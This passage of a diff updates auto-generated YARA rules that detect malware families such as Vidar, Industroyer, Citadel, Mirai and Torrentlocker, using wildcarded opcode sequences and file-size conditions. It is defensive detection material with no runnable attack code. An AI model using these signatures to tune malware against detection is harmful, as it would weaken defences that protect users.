+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yahoyah"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.yahoyah_auto.yar#L1-L158"
 		license_url = "N/A"
-		logic_hash = "abf4ae91c4287e1227ba24bd55f61dc3c1250c1b8b21f760166157e29806933f"
+		logic_hash = "5a0539481a7f5653801a561ffa29165f1f4bf92248a27b13820a8f2035c6eb1c"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175072,32 +182113,37 @@ rule MALPEDIA_Win_Starsypound_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ff15???????? 8dbc2458010000 83c9ff 33c0 }
-		$sequence_1 = { 68???????? 52 e8???????? 83c420 85c0 7444 8b5304 }
-		$sequence_2 = { 53 56 57 6a18 e8???????? 8bb42424040000 }
-		$sequence_3 = { 8d4c2428 68???????? 51 e8???????? 56 8d542434 }
-		$sequence_4 = { 8bfd 8d44240c f3a5 8b5500 8b3d???????? 6a00 }
-		$sequence_5 = { 885c3438 c744241804010000 ff15???????? 8dbc2458010000 83c9ff 33c0 }
-		$sequence_6 = { 50 8d4c2424 56 51 52 }
-		$sequence_7 = { f3a4 885c0444 bf???????? 83c9ff 33c0 33f6 }
-		$sequence_8 = { 83c40c 85c0 7e2b eb08 }
-		$sequence_9 = { e8???????? 68c0270900 ff15???????? e8???????? 5f }
+		$sequence_0 = { ff15???????? 6a02 53 6af0 }
+		$sequence_1 = { 50 6800080000 ff15???????? ff15???????? }
+		$sequence_2 = { 53 53 56 53 ff15???????? 68d0070000 }
+		$sequence_3 = { 50 e8???????? 83c418 6a02 53 }
+		$sequence_4 = { ff15???????? 6a2e 68???????? e8???????? }
+		$sequence_5 = { e8???????? 59 53 53 6a03 0fb7c8 }
+		$sequence_6 = { 52 c1e808 23c1 50 68???????? }
+		$sequence_7 = { ff15???????? 85c0 7501 c3 56 }
+		$sequence_8 = { 23d1 52 8bd0 c1ea18 52 0fb6d0 }
+		$sequence_9 = { eb19 ff15???????? 0fb7c0 50 68???????? }
+		$sequence_10 = { 6a1a 50 e8???????? bf???????? }
+		$sequence_11 = { ff15???????? 6a3a 56 e8???????? 8bf0 83c410 }
+		$sequence_12 = { 90 33c9 33c0 648b3530000000 8b760c }
+		$sequence_13 = { 90 68add13441 ffb53ffbffff 6a00 e8???????? 898521f1ffff e8???????? }
+		$sequence_14 = { 90 90 90 90 90 68add13441 ffb53ffbffff }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <483328
 }
-rule MALPEDIA_Win_Socelars_Auto : FILE
+rule MALPEDIA_Win_Unidentified_053_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b06c7ac2-d920-55f6-9edd-c06a57d2d404"
+		id = "b8635dce-dc5b-565f-a079-d654a222f110"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.socelars"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.socelars_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_053"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_053_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "29f15e383674389295d6d5d873e2a8fae68e30508b53f5e863e0aef43fe3264f"
+		logic_hash = "466de537792d4c8cf5922d9a48018d257023e4a1753f3d834debb6d43be45c35"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175111,34 +182157,34 @@ rule MALPEDIA_Win_Socelars_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { f6462808 894618 7515 8b4c243c ba14000000 e8???????? 89842430010000 }
-		$sequence_1 = { 8b4dfc 83b9cc03000020 7409 c745c00c000000 eb07 c745c00e000000 8b55fc }
-		$sequence_2 = { ff460c 807e0a00 750a 8bce e8???????? 8a4e09 8b430c }
-		$sequence_3 = { ff730c ff7308 e8???????? 8bf8 83c410 85ff 0f8480000000 }
-		$sequence_4 = { 8b542410 8b5248 f6421c20 0f8437050000 8b4214 ff4878 8b8888000000 }
-		$sequence_5 = { e9???????? 8b4c243c 33c0 89842430010000 ba43000000 8b472c 40 }
-		$sequence_6 = { f7da 56 1bd2 83c235 eb55 6a00 ff77c4 }
-		$sequence_7 = { e8???????? 83c40c eb36 8d4201 898188000000 8d0c92 8b442438 }
-		$sequence_8 = { fe4613 8a4619 fec8 0fb6c8 884619 3bf9 7d24 }
-		$sequence_9 = { ff742424 e8???????? 83c40c eb32 8b54241c 8d4101 898688000000 }
+		$sequence_0 = { 753c ff75e4 68???????? e8???????? 85c0 59 }
+		$sequence_1 = { c1c603 81ea584dff93 8915???????? e8???????? 42 }
+		$sequence_2 = { 8d3c85a8914100 833f00 bb00100000 7520 53 e8???????? }
+		$sequence_3 = { ff75f0 50 ff91c4010000 8945f4 85c0 }
+		$sequence_4 = { f7d7 c1c30e ffd0 890d???????? 87c7 2bc3 f7da }
+		$sequence_5 = { f7db c1c017 e8???????? f7d1 }
+		$sequence_6 = { 03f7 46 f7d8 81ebd4b243e9 c1c80c }
+		$sequence_7 = { 3b8e50894100 0f8515010000 a1???????? 83f801 0f84df000000 3bc2 }
+		$sequence_8 = { 81f669d8509c f7d2 686c6c6f63 e8???????? 4e 03c1 890d???????? }
+		$sequence_9 = { 8b048588814100 234508 8b4e14 8d04c1 0fb64801 8b5004 83fa10 }
 
 	condition:
-		7 of them and filesize <2151424
+		7 of them and filesize <294912
 }
-rule MALPEDIA_Win_Unidentified_074_Auto : FILE
+rule MALPEDIA_Win_Vidar_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "0d21a50a-0481-57c8-ac0f-f7fe46c9359f"
+		id = "82d78950-07cb-574b-bd37-68a5c755b922"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_074"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_074_auto.yar#L1-L123"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vidar_auto.yar#L1-L344"
 		license_url = "N/A"
-		logic_hash = "e6b5821f00996c51a196dd1c4d62a76bb0e0925ea653a38d0c3db163875f48e7"
+		logic_hash = "a393071c5079ff4f7beb96e2467045a96573fe4c259d05f0ce07fde763d7466d"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -175150,32 +182196,60 @@ rule MALPEDIA_Win_Unidentified_074_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 50 ffb578dfffff e8???????? 33c0 c7858cdfffff07000000 c78588dfffff00000000 66898578dfffff }
-		$sequence_1 = { 50 e8???????? 6aff 6a01 83ec08 c745fc00000000 8d4dd8 }
-		$sequence_2 = { 3bc1 7432 8b4d08 8d041e 8a0408 3a02 7516 }
-		$sequence_3 = { 50 ff15???????? 8bf0 85f6 0f84c4010000 837f1000 }
-		$sequence_4 = { 50 899d6cdfffff c78568dfffff00000000 660fd645e4 e8???????? }
-		$sequence_5 = { c78524e7ffff07000000 66898510e7ffff 8d85f8e6ffff 50 8d8540e7ffff c78520e7ffff00000000 50 }
-		$sequence_6 = { 8d4e01 8a06 46 84c0 75f9 8d4588 }
-		$sequence_7 = { e8???????? 83c40c 019dc4feffff 8b85c4feffff }
-		$sequence_8 = { 83ec08 8845f0 8d45f0 50 e8???????? 884435e8 }
-		$sequence_9 = { 8d8d70e7ffff 6a12 33c0 c78584e7ffff07000000 }
+		$sequence_0 = { 25ff7f0000 c3 e8???????? 8b486c 3b0d???????? 7410 }
+		$sequence_1 = { 05c39e2600 894114 c1e810 25ff7f0000 c3 e8???????? }
+		$sequence_2 = { 8d8d68fdffff 51 50 ff15???????? }
+		$sequence_3 = { 7202 8b00 8d8d68fdffff 51 }
+		$sequence_4 = { 740a b800000500 e9???????? 57 }
+		$sequence_5 = { 56 8b742408 8b865caf0100 57 }
+		$sequence_6 = { 895dd0 c746140f000000 895e10 8975cc }
+		$sequence_7 = { 8b8648af0100 c1e803 038644af0100 5e 5d c3 }
+		$sequence_8 = { 895dfc e8???????? 83781408 c645fc01 }
+		$sequence_9 = { 8b7508 33ff 89b55cfdffff 89bd60fdffff }
+		$sequence_10 = { 5f c6043300 8bc6 5e 5b c20400 }
+		$sequence_11 = { 50 ff15???????? 8b4da0 8901 85c0 }
+		$sequence_12 = { 83781410 7202 8b00 50 8b45a0 }
+		$sequence_13 = { eb02 33c0 5f 5e c9 c3 6a04 }
+		$sequence_14 = { 5e c20400 ff742408 e8???????? 59 83f8ff 7503 }
+		$sequence_15 = { c9 c3 8b542408 85d2 7503 }
+		$sequence_16 = { 0fb605???????? 50 0fb605???????? 50 0fb605???????? 50 6a01 }
+		$sequence_17 = { 53 50 899e6caf0600 e8???????? }
+		$sequence_18 = { 53 68???????? 8d8da8000000 e8???????? }
+		$sequence_19 = { c3 55 8bec 83ec0c 8365fc00 8365f400 8365f800 }
+		$sequence_20 = { c20400 56 8bf1 e8???????? 6a00 ff74240c 8bce }
+		$sequence_21 = { 0faf450c 50 e8???????? 59 }
+		$sequence_22 = { 8b4508 8906 8b450c 894608 }
+		$sequence_23 = { 8b4120 8910 8b4130 8910 c3 56 }
+		$sequence_24 = { e8???????? c9 c3 55 8bec 83ec18 8b450c }
+		$sequence_25 = { 8d852cffffff 50 8d459c 50 }
+		$sequence_26 = { 6860ea0000 6a00 ff15???????? 50 }
+		$sequence_27 = { 50 ff15???????? 6a1a e8???????? }
+		$sequence_28 = { 5f c21000 8bff 55 8bec 6a0a }
+		$sequence_29 = { e8???????? 83c410 85c0 7404 6a99 ebcc }
+		$sequence_30 = { 7410 84c0 7406 3ac8 7c14 }
+		$sequence_31 = { 7408 ff36 e8???????? 59 834e04ff 8b06 }
+		$sequence_32 = { e8???????? 83c408 84c0 740e 68???????? }
+		$sequence_33 = { 6a0b 6a10 e8???????? 83c41c 8be5 }
+		$sequence_34 = { eb0b 8b45f4 0500040000 8945f4 }
+		$sequence_35 = { 83ec08 dd4508 dd1c24 6a0b 6a08 }
+		$sequence_36 = { 8bc6 8b35???????? 99 2bc2 }
+		$sequence_37 = { 8bc6 5f 5e 5d 5b 81c460010000 c3 }
 
 	condition:
-		7 of them and filesize <335872
+		7 of them and filesize <2793472
 }
-rule MALPEDIA_Win_Citadel_Auto : FILE
+rule MALPEDIA_Win_Lolsnif_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "cf6cb189-c7d7-5571-b2ec-c3b6f165f615"
+		id = "1d5fbfc8-0217-55f5-a391-424b7e7d3b81"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.citadel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.citadel_auto.yar#L1-L167"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lolsnif"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.lolsnif_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "8e88ac7355b3e3defd358849e38b9e68e570cd840f3a9a1ae754cb483f4c91f5"
+		logic_hash = "9bce9d984017297751bb54a3f5eaf0b3b4bc516f4f45f71420e0fbe5f0438c0a"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175189,40 +182263,34 @@ rule MALPEDIA_Win_Citadel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { eb0e 6800800000 53 57 }
-		$sequence_1 = { 55 8bec ff7508 e8???????? e8???????? 5d }
-		$sequence_2 = { eb03 83c002 68???????? 50 ff15???????? }
-		$sequence_3 = { e8???????? e8???????? 5d ff25???????? 55 8bec ff7508 }
-		$sequence_4 = { 33c0 5f 5e c20400 55 8bec 8b4d0c }
-		$sequence_5 = { e8???????? 8d7c0201 8bc7 e8???????? }
-		$sequence_6 = { 50 e8???????? 6a44 5a 52 }
-		$sequence_7 = { 50 8d5dfc e8???????? 8b4dfc }
-		$sequence_8 = { 884601 33c0 6689460c ff4df8 }
-		$sequence_9 = { 8a5602 8b4e10 8a5e14 fec8 32d0 8ac2 3245fe }
-		$sequence_10 = { 8845fe c645ff00 763c 8a06 }
-		$sequence_11 = { 3aca 73fa 0fb6c9 8b04c8 ebae 32c0 5f }
-		$sequence_12 = { 33c0 6689460e 0fb74606 6685c0 7432 }
-		$sequence_13 = { 85c0 7409 3255fd 8a0f ffd0 8807 }
-		$sequence_14 = { 6685c0 7432 66ff460e 6639460e }
-		$sequence_15 = { 6639460c 7228 8b4610 8a4e05 8a5614 85c0 }
+		$sequence_0 = { c745ecebfecccc 8945f8 895dfc e8???????? 85c0 0f84e6000000 c745fc10000000 }
+		$sequence_1 = { 8d4510 50 ff35???????? e8???????? 8bf8 85ff 0f8576010000 }
+		$sequence_2 = { 8945fc 7460 894508 ff35???????? 8b450c ff7510 e8???????? }
+		$sequence_3 = { 6817010000 1bc0 51 23c6 50 e8???????? e9???????? }
+		$sequence_4 = { 3bf1 742b 53 8b5f04 }
+		$sequence_5 = { 8bf8 85ff 754c 8b45fc }
+		$sequence_6 = { 6a20 50 ff15???????? 3bc3 0f84eb000000 68???????? 50 }
+		$sequence_7 = { 8b471c 3bc3 7411 50 53 ff35???????? ff15???????? }
+		$sequence_8 = { 85c0 0f841b020000 50 ff7320 e8???????? 8bf0 }
+		$sequence_9 = { bf02010000 eb08 ff15???????? 8bf8 }
 
 	condition:
-		7 of them and filesize <1236992
+		7 of them and filesize <425984
 }
-rule MALPEDIA_Win_Unidentified_077_Auto : FILE
+rule MALPEDIA_Win_Industroyer_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "882d313e-f7f0-5285-8af9-6252268fd85d"
+		id = "9c6bfb9f-c466-5000-a18a-b1782556f295"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_077"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_077_auto.yar#L1-L116"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.industroyer_auto.yar#L1-L379"
 		license_url = "N/A"
-		logic_hash = "40d4971486b6904e4039a2237673f8c9270e32fac79f99c950b8e92b2f7aa0ab"
+		logic_hash = "10be42e3e137c59c80c36fac63f4d878185befa45cbf0b3714b0e9925e862e84"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -175234,32 +182302,62 @@ rule MALPEDIA_Win_Unidentified_077_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89442420 488bcf ff15???????? 85c0 }
-		$sequence_1 = { 488bcf ff15???????? 498bce ff15???????? 488bce }
-		$sequence_2 = { 488bb424f00d0000 488b8dd00c0000 4833cc e8???????? 4881c4f80d0000 }
-		$sequence_3 = { 0f8559ffffff 488bcf ff15???????? 498bce ff15???????? 488bce ff15???????? }
-		$sequence_4 = { 498784f180bf0100 eb25 488bc3 498784f180bf0100 4885c0 }
-		$sequence_5 = { 4d8be1 498be8 4c8bea 4b8b8cf7e0c70100 4c8b15???????? }
-		$sequence_6 = { 33db 33ff 4c8bea 4c8be1 4883fa40 7312 }
-		$sequence_7 = { f30f6f0418 660fefc1 f30f7f0418 8d4210 83c220 f30f6f0418 660fefc1 }
-		$sequence_8 = { 0f8559ffffff 488bcf ff15???????? 498bce }
-		$sequence_9 = { e8???????? 85c0 0f85c6000000 448b442468 }
+		$sequence_0 = { 50 50 ff750c ff15???????? 8d45fc 50 8d45f8 }
+		$sequence_1 = { 68f4010000 ff15???????? 33c0 50 }
+		$sequence_2 = { 50 8945e0 e8???????? 8945f8 e8???????? 50 8945e4 }
+		$sequence_3 = { 6808020000 50 ff7710 ff15???????? }
+		$sequence_4 = { ff7710 6a03 56 e8???????? 83c424 894708 85c0 }
+		$sequence_5 = { ff15???????? 8bd8 8d8598fdffff 6804010000 50 68???????? ff15???????? }
+		$sequence_6 = { 6a02 50 53 68000000c0 56 c745f40c000000 895dfc }
+		$sequence_7 = { 6a4c e8???????? 8bf0 8d8510ffffff 6a4c }
+		$sequence_8 = { 8bf9 ff15???????? 3bf8 0f84bb000000 }
+		$sequence_9 = { 8b7508 ff7604 8b06 ffd0 56 e8???????? }
+		$sequence_10 = { ffd6 85c0 7431 ff35???????? }
+		$sequence_11 = { 8bd8 85db 0f849d000000 8d85d0fdffff c785d0fdffff2c020000 50 53 }
+		$sequence_12 = { 683f010f00 6a00 8d85a0f3ffff 50 6802000080 ff15???????? 85c0 }
+		$sequence_13 = { 85c0 0f85bb000000 6800020000 8d85a0fbffff 50 }
+		$sequence_14 = { bfffff0000 0f46f9 3d00005000 b900400000 }
+		$sequence_15 = { 8d8c2468020000 e8???????? 8d442418 50 ff742414 ff15???????? }
+		$sequence_16 = { eb07 8b0cc5dc084100 894de4 85c9 }
+		$sequence_17 = { 0f8501010000 c745e0e4ff4000 8b4508 8bcf }
+		$sequence_18 = { 6a0a 8854382a 8b048dd01f0210 8874382b 8b048dd01f0210 5a }
+		$sequence_19 = { 0f8580000000 8b4508 dd00 ebc6 c745e0e8ff4000 }
+		$sequence_20 = { 6689823e020000 0fb68340020000 888240020000 8d8344020000 50 e8???????? }
+		$sequence_21 = { 50 ff15???????? 6a02 ff15???????? 50 ffd6 ff770c }
+		$sequence_22 = { 0fb605???????? 88413e 0f1005???????? 0f118133010000 a1???????? 898143010000 }
+		$sequence_23 = { 83e901 740d 83e902 7521 }
+		$sequence_24 = { 660f28b820004100 660f54f0 660f5cc6 660f59f4 660f5cf2 f20f58fe }
+		$sequence_25 = { 807b0100 0f85fc000000 a840 0f85d5000000 ff35???????? ff15???????? }
+		$sequence_26 = { 89422c 0fb64330 884230 0fb64331 884231 0fb64332 }
+		$sequence_27 = { 746a ff7508 8b15???????? 51 8bcb e8???????? }
+		$sequence_28 = { 85c0 7450 6aff 56 ff15???????? }
+		$sequence_29 = { ba???????? 0f94c1 884b32 84c9 a1???????? f30f7e05???????? }
+		$sequence_30 = { 8b442418 89442440 8d44243c 50 ff15???????? 50 }
+		$sequence_31 = { ff15???????? 68???????? ff15???????? 85c0 7417 68???????? }
+		$sequence_32 = { 83c410 84c0 0f84b9010000 8b8520ffffff 8bbd1cffffff 2bc7 }
+		$sequence_33 = { 8d4dc8 ff30 e8???????? 8d4d84 83ff02 0f86a4000000 }
+		$sequence_34 = { e8???????? 6a00 56 8d8d08feffff e8???????? }
+		$sequence_35 = { 8bce 8907 53 894704 e8???????? 8b4308 }
+		$sequence_36 = { 53 8b1c85205e4400 56 6800080000 }
+		$sequence_37 = { 8945e4 8d83bc000000 50 e8???????? 6a28 e8???????? }
+		$sequence_38 = { 0fb7c1 8945f8 3905???????? 7f26 663b4df4 7320 }
+		$sequence_39 = { 33c5 8945fc 8365e000 53 8b5d0c 56 }
 
 	condition:
-		7 of them and filesize <270336
+		7 of them and filesize <983040
 }
-rule MALPEDIA_Win_Torrentlocker_Auto : FILE
+rule MALPEDIA_Win_Action_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "56bf47db-a6d1-5792-b5b6-3656138ac949"
+		id = "b171bb40-9b64-5f84-b8a8-e9db33470a7a"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.torrentlocker"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.torrentlocker_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.action_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.action_rat_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "9124185b3dba8eb6288bd309dcd17a816c52adb0e1e08ff17bcd23b3d53099e4"
+		logic_hash = "d6b5f7381b8e2ad2725999fb927500f671ba77c3542ba9198900375907d98a2d"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175273,38 +182371,32 @@ rule MALPEDIA_Win_Torrentlocker_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { c3 83f801 7405 83f802 }
-		$sequence_1 = { 8b0d???????? 5f c7000c000000 894804 }
-		$sequence_2 = { 85c0 7514 e8???????? 3d00000600 }
-		$sequence_3 = { 50 56 6a00 6a01 6a02 ff15???????? }
-		$sequence_4 = { 8b0d???????? 890e e8???????? 8bd8 e8???????? 6a00 6a01 }
-		$sequence_5 = { 83ec24 6a00 6a01 68???????? ff15???????? 85c0 7551 }
-		$sequence_6 = { 56 ff15???????? 83f802 740f 83f803 740a }
-		$sequence_7 = { e8???????? 3d00000600 1bc0 40 a3???????? eb05 }
-		$sequence_8 = { 83c002 6685c9 75f5 2bc2 d1f8 8d440014 }
-		$sequence_9 = { 52 50 ff15???????? 85c0 7519 8b0d???????? 51 }
-		$sequence_10 = { 51 6a01 6a00 0d00800000 50 6a00 }
-		$sequence_11 = { 8b0d???????? 5f 894e0c 5e }
-		$sequence_12 = { 8b0d???????? 6a00 6a00 57 }
-		$sequence_13 = { 48 85c0 7ff4 5f 33c0 5e c3 }
-		$sequence_14 = { 8b0d???????? 57 6a00 51 ff15???????? 8bc6 }
-		$sequence_15 = { c705????????00000000 e8???????? 8bf0 e8???????? }
+		$sequence_0 = { 8d4d0c e8???????? 8b4508 8b4df4 64890d00000000 59 5b }
+		$sequence_1 = { 8b55f8 52 8b4dfc 83c134 e8???????? 8b00 50 }
+		$sequence_2 = { 83c270 52 8b4dfc 83c170 }
+		$sequence_3 = { e8???????? c745d400000000 eb09 8b4dd4 83c101 894dd4 8d4d0c }
+		$sequence_4 = { 7420 0fb645fb 50 8b4df4 8b4918 e8???????? 0fb6d0 }
+		$sequence_5 = { 0fb74202 50 ff15???????? 0fb7c8 8b5514 890a }
+		$sequence_6 = { 6a00 8b45fc 50 8b4d08 51 e8???????? 83c418 }
+		$sequence_7 = { e8???????? 8d8ddcfbffff e8???????? c645fc0e 6a00 68e0930400 6a00 }
+		$sequence_8 = { 0de0000000 b901000000 6bd100 8b4d0c 880411 8b5508 c1fa06 }
+		$sequence_9 = { 8b4df4 3b4df8 750b 68???????? ff15???????? 8b55ec 833a22 }
 
 	condition:
-		7 of them and filesize <933888
+		7 of them and filesize <480256
 }
-rule MALPEDIA_Win_Ployx_Auto : FILE
+rule MALPEDIA_Win_Tempedreve_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "7a9ae933-1e52-56f8-912b-cfaf3c1a4d79"
+		id = "e62cef01-6d44-587e-a3de-2c290fdad6d7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ployx"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.ployx_auto.yar#L1-L127"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tempedreve"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.tempedreve_auto.yar#L1-L163"
 		license_url = "N/A"
-		logic_hash = "92d48577836748eb447c5a838f0c9893d40b34aa95d5979c4991a0399ec4439d"
+		logic_hash = "5e6b4c6e2f4e0f76996895055b92463fa9cea8a31f828bb15d4eb02a56497fa3"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175318,32 +182410,38 @@ rule MALPEDIA_Win_Ployx_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8bc3 25ff000000 59 3bf0 59 7443 }
-		$sequence_1 = { 33db 897df8 e8???????? 397dfc 59 59 }
-		$sequence_2 = { 33ff 59 85c0 7e19 8bf0 8bfe 6a20 }
-		$sequence_3 = { 66ab ff35???????? aa 8d8588faffff 68???????? 50 }
-		$sequence_4 = { 8d3c78 8d0437 50 e8???????? 8b4d08 8d3c78 8d0437 }
-		$sequence_5 = { b9???????? b800020000 8d5f02 99 f7fb 47 8901 }
-		$sequence_6 = { 33ff 99 59 f7f9 8bc2 03c1 99 }
-		$sequence_7 = { 59 8945f4 0f848f000000 8d45e8 50 }
-		$sequence_8 = { e8???????? 83c40c 8d85a4fcffff 6a00 50 ff15???????? 8945e8 }
-		$sequence_9 = { 740f 3b7df8 7503 8975f8 57 }
+		$sequence_0 = { 011e 015e10 015e0c 0fb75706 }
+		$sequence_1 = { 011a 8b87dc000000 83c204 03c6 }
+		$sequence_2 = { 01042f 034c2ff8 8d45ec 894c2ff8 }
+		$sequence_3 = { 754f 85f6 744b 214524 8d4520 }
+		$sequence_4 = { 011a 45 8d14a9 8b02 }
+		$sequence_5 = { 0103 a1???????? 83c004 50 ff15???????? }
+		$sequence_6 = { 0104b7 8b8424a8000000 83c704 4d }
+		$sequence_7 = { 010f 8b07 83c704 3bc1 }
+		$sequence_8 = { 89542430 eb09 83f801 0f86c8010000 0fb64500 0fb64d01 }
+		$sequence_9 = { 85c0 0f85a9090000 53 8916 8d4e04 }
+		$sequence_10 = { 8bc8 c1e903 8d440140 c20400 }
+		$sequence_11 = { 899e1c040000 895c2458 3bc3 0f86eb070000 8d9b00000000 8b44245c 85c0 }
+		$sequence_12 = { 55 51 8bce 8d5c0301 e8???????? 3bd8 8b5c2458 }
+		$sequence_13 = { 72f3 8b4c2414 8b6c2428 3bda 0f84e1000000 }
+		$sequence_14 = { 8b6c2410 8bd3 2bd7 52 55 8bce e8???????? }
+		$sequence_15 = { 8b542430 3bda 7320 8d4d02 8be8 2b6c2428 }
 
 	condition:
-		7 of them and filesize <229376
+		7 of them and filesize <155648
 }
-rule MALPEDIA_Win_Acronym_Auto : FILE
+rule MALPEDIA_Elf_Mirai_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "3a02b0db-7dab-59f7-8844-7d3e20bbfec7"
+		id = "99bf67bb-d881-5d1d-9ccf-8805d4c126fc"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acronym"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acronym_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/elf.mirai_auto.yar#L1-L92"
 		license_url = "N/A"
-		logic_hash = "f0c8874a39c6e7d48d0efb9f6335d89bb8e6f6e657bab8b7e1fc238f6642ecb8"
+		logic_hash = "53d684afadf5b7afddedfe71964fc5273146fef2945717259a3274aa2e1d04ee"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -175357,32 +182455,30 @@ rule MALPEDIA_Win_Acronym_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 89550c 8b4510 034508 8a08 884dff 8b5510 03550c }
-		$sequence_1 = { 8b55e8 8a45f4 88040a ebac 33c9 75fc 8be5 }
-		$sequence_2 = { 50 ff15???????? 8945f8 8b4dfc 8b5110 52 8b45fc }
-		$sequence_3 = { e8???????? 8bc8 e8???????? 0fb6d0 85d2 0f85d4000000 8b450c }
-		$sequence_4 = { c745fc00000000 eb09 8b45fc 83c001 8945fc 8b4df4 83c104 }
-		$sequence_5 = { 6a00 6a00 ff15???????? b901000000 85c9 0f84fd000000 c745f000000000 }
-		$sequence_6 = { 2b55bc 8955b8 8b45b8 8945cc 33c9 75fc 8b55dc }
-		$sequence_7 = { 8b0c90 83c101 8b55f4 8b45f0 0fb754505e 8b45ec 69c008040000 }
-		$sequence_8 = { 8b4508 50 e8???????? 83c410 ebaa 8b45c4 69c0c51d0000 }
-		$sequence_9 = { 69d208040000 8b7508 8d941660b10000 89048a 8b45f4 8b4df0 0fb754411c }
+		$sequence_0 = { 6689432a e8???????? c7433400000000 894330 }
+		$sequence_1 = { 89d0 c1e005 01d0 89ca }
+		$sequence_2 = { 894330 c6433801 c6433903 c6433a03 c6433b06 }
+		$sequence_3 = { 66c1e808 d0e8 8d04c0 28c2 }
+		$sequence_4 = { 3c19 7705 8d42e0 8801 }
